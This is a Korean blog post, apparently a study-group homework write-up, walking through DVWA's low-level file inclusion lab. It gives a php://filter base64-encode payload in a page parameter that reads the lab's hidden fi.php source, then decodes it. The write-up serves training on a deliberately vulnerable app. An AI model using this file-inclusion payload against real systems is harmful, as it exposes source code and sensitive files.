본문 바로가기
빡공팟(P4C)

웹해킹트랙 5주차 과제 - DVWA Low레벨 실습 #File Inclusion

by qoth_0 2022. 10. 23.
728x90
반응형

Vulnerability: File Inclusion

 

Burp Suite으로 패킷을 확인해보니 아무런 필터링도 거치지 않고 파일 이름을 파라미터로 받아서 include 하고 있다. 

파일들을 눌러보았더니

url에서 include부분만 파일명으로 바뀌는 것을 확인했다.

file4를 입력해보니 숨겨진 파일을 확인할 수 있었다.

이제 목적대로 fi.php로 접속해보자.

좋은 시도였지만 include 파일을 사용하라는 메시지가 확인된다.

 

이번에는 url의 include를 fi.php로 변경해보았다.

5개중에 1, 2, 4만 확인이 된다.

 

소스코드를 직접 읽어봐야 숨겨진 인용문을 확인할 수 있을 것이다.

php Wrapper의 PHP Filter를 사용해보자.

 

php://filter/convert.base64-encode/resource=

리소스를 읽을 때 base64로 인코딩하는 필터(convert.base64-encode)를 적용한다는 의미이다.

이를 적용하여 아래 링크로 접속해보았다.

 

http://localhost/DVWA-master/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=../../hackable/flags/fi.php

 

 

위처럼 base64로 인코딩 된 fi.php 파일의 소스코드를 확인할 수 있다.

PD9waHAKCmlmKCAhZGVmaW5lZCggJ0RWV0FfV0VCX1BBR0VfVE9fUk9PVCcgKSApIHsKCWV4aXQgKCJOaWNlIHRyeSA7LSkuIFVzZSB0aGUgZmlsZSBpbmNsdWRlIG5leHQgdGltZSEiKTsKfQoKPz4KCjEuKSBCb25kLiBKYW1lcyBCb25kCgo8P3BocAoKZWNobyAiMi4pIE15IG5hbWUgaXMgU2hlcmxvY2sgSG9sbWVzLiBJdCBpcyBteSBidXNpbmVzcyB0byBrbm93IHdoYXQgb3RoZXIgcGVvcGxlIGRvbid0IGtub3cuXG5cbjxiciAvPjxiciAvPlxuIjsKCiRsaW5lMyA9ICIzLikgUm9tZW8sIFJvbWVvISBXaGVyZWZvcmUgYXJ0IHRob3UgUm9tZW8/IjsKJGxpbmUzID0gIi0tTElORSBISURERU4gOyktLSI7CmVjaG8gJGxpbmUzIC4gIlxuXG48YnIgLz48YnIgLz5cbiI7CgokbGluZTQgPSAiTkM0cEkiIC4gIkZSb1pTQndiMjlzIiAuICJJRzl1SUgiIC4gIlJvWlNCeWIyOW1JRzEiIC4gIjFjM1FnYUdGIiAuICIyWlNCaCIgLiAiSUd4bFkiIC4gIldzdSI7CmVjaG8gYmFzZTY0X2RlY29kZSggJGxpbmU0ICk7Cgo/PgoKPCEtLSA1LikgVGhlIHdvcmxkIGlzbid0IHJ1biBieSB3ZWFwb25zIGFueW1vcmUsIG9yIGVuZXJneSwgb3IgbW9uZXkuIEl0J3MgcnVuIGJ5IGxpdHRsZSBvbmVzIGFuZCB6ZXJvZXMsIGxpdHRsZSBiaXRzIG9mIGRhdGEuIEl0J3MgYWxsIGp1c3QgZWxlY3Ryb25zLiAtLT4K

 

이를 디코딩하면 아래와 같이 php 소스코드를 확인할 수 있다.

<?php

if( !defined( 'DVWA_WEB_PAGE_TO_ROOT' ) ) {
	exit ("Nice try ;-). Use the file include next time!");
}

?>

1.) Bond. James Bond

<?php

echo "2.) My name is Sherlock Holmes. It is my business to know what other people don't know.\n\n<br /><br />\n";

$line3 = "3.) Romeo, Romeo! Wherefore art thou Romeo?";
$line3 = "--LINE HIDDEN ;)--";
echo $line3 . "\n\n<br /><br />\n";

$line4 = "NC4pI" . "FRoZSBwb29s" . "IG9uIH" . "RoZSByb29mIG1" . "1c3QgaGF" . "2ZSBh" . "IGxlY" . "Wsu";
echo base64_decode( $line4 );

?>

<!-- 5.) The world isn't run by weapons anymore, or energy, or money. It's run by little ones and zeroes, little bits of data. It's all just electrons. -->

 

숨겨져있던 3, 5 인용문도 확인되었다.

728x90
반응형